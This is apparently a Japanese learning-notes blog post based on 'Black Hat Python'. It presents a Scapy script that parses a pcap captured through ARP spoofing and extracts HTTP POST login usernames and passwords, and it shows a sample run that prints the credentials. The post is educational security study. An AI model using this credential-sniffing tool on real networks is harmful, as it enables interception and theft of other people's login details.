本記事は、オライリージャパンから発行されている「サイバーセキュリティプログラミング ―Pythonで学ぶハッカーの思考(原題:Black Hat Python)」の学習メモとして、書籍ではPython2で書かれていますが、自分なりに解釈した上でPython3に書き直しをしています。
前回はARPキャッシュポイズニング(ARPスプーフィング)について学びました。
今回はpcapフォーマットのファイルの処理方法について学んでいきます。
はじめに
前回まででScapyを使ったパケットの取得方法について学びました。
今回は、取得したパケットの必要な情報の抽出方法について考察していきます。
書籍では、画像データに関するパケットを抽出し、さらに人の顔を含む画像をコンピュータビジョン用のOpenCVというツールを使って解析し、画像ファイルとして保存する方法が書かれています。
ここでは、前回のARPキャッシュポイズニングで取得・保存したパケットから、Webサーバへのログイン情報の抽出を行ってみます。
前回の内容については以下を参照ください。
スクリプトの作成
以下が今回のスクリプトになります。
# http_parser.py
from scapy.all import *
def get_http_headers(http_payload):
try:
http_payload = http_payload.strip("\\x00")
headers_raw = http_payload[:http_payload.index("\\r\\n\\r\\n")].split("\\r\\n")
except:
return None
headers = {}
for h in headers_raw:
try:
if h == '':
continue
key, val = h.split(': ')
headers[key] = val
except:
method, path, _ = h.split(' ')
headers['method'] = method
headers['path'] = path
return headers
def extract_login_info(headers, http_payload):
info = {}
try:
if "post" in headers['method'].lower():
if 'user' in http_payload.lower() or 'pass' in http_payload.lower():
data = http_payload[http_payload.index("\\r\\n\\r\\n")+8:].split("&")
for d in data:
k, v = d.split('=')
info[k] = v
except:
return None
return info
def http_assembler(pcap_file):
login_info = {}
a = rdpcap(pcap_file)
sessions = a.sessions()
for session in sessions:
http_payload = ""
for packet in sessions[session]:
try:
if packet[TCP].dport == 80:
http_payload += str(packet[TCP].payload).split("'")[1]
except:
pass
headers = get_http_headers(http_payload)
if headers is None:
continue
info = extract_login_info(headers, http_payload)
if info:
url = "http://{}{}".format(headers['Host'], headers['path'])
login_info[url] = info
return login_info
def main():
logins = {}
pcap_file = "arper.pcap"
logins = http_assembler(pcap_file)
if logins:
for url, info in logins.items():
print("[*] URL: {}".format(url))
for k, v in info.items():
print(" {}: {}".format(k, v))
print()
else:
print("[-] No Results Found.")
if __name__ == '__main__':
main()
4行目のget_http_headers()で、HTTPのヘッダフィールドを"key: value"の辞書型に分割します。
23行目のextract_login_info()では、get_http_headers()で辞書型に分割したヘッダフィールドから、メソッドとしてPOSTメソッドがあり、かつペイロード部分に"user"か"pass"の文字列があった場合に、フォームアイテムを抽出します。
36行目の http_assembler()では、38行目のrdpcap()でpcapファイルをロードし、39行目のsessions()メソッドで各TCPセッションを分割します。
各TCPセッションの中から、送信先ポート番号がHTTPである80のものを抽出し、上記で定義した各関数に渡してパースしていきます。
動作確認
それでは、上記で作成したスクリプトを起動してみます。
> python http_parser.py [*] URL: http://192.168.0.1/login/auth.php password: pass user: admin
問題なくログイン認証時の情報が取得できることが確認できました。
最後に
今回は前回で取得したパケットのパースについて学びました。
今の時代、平文でログイン処理をしていることはあり得ないですが、取得したパケットの処理方法を学ぶには良い題材になったと思います。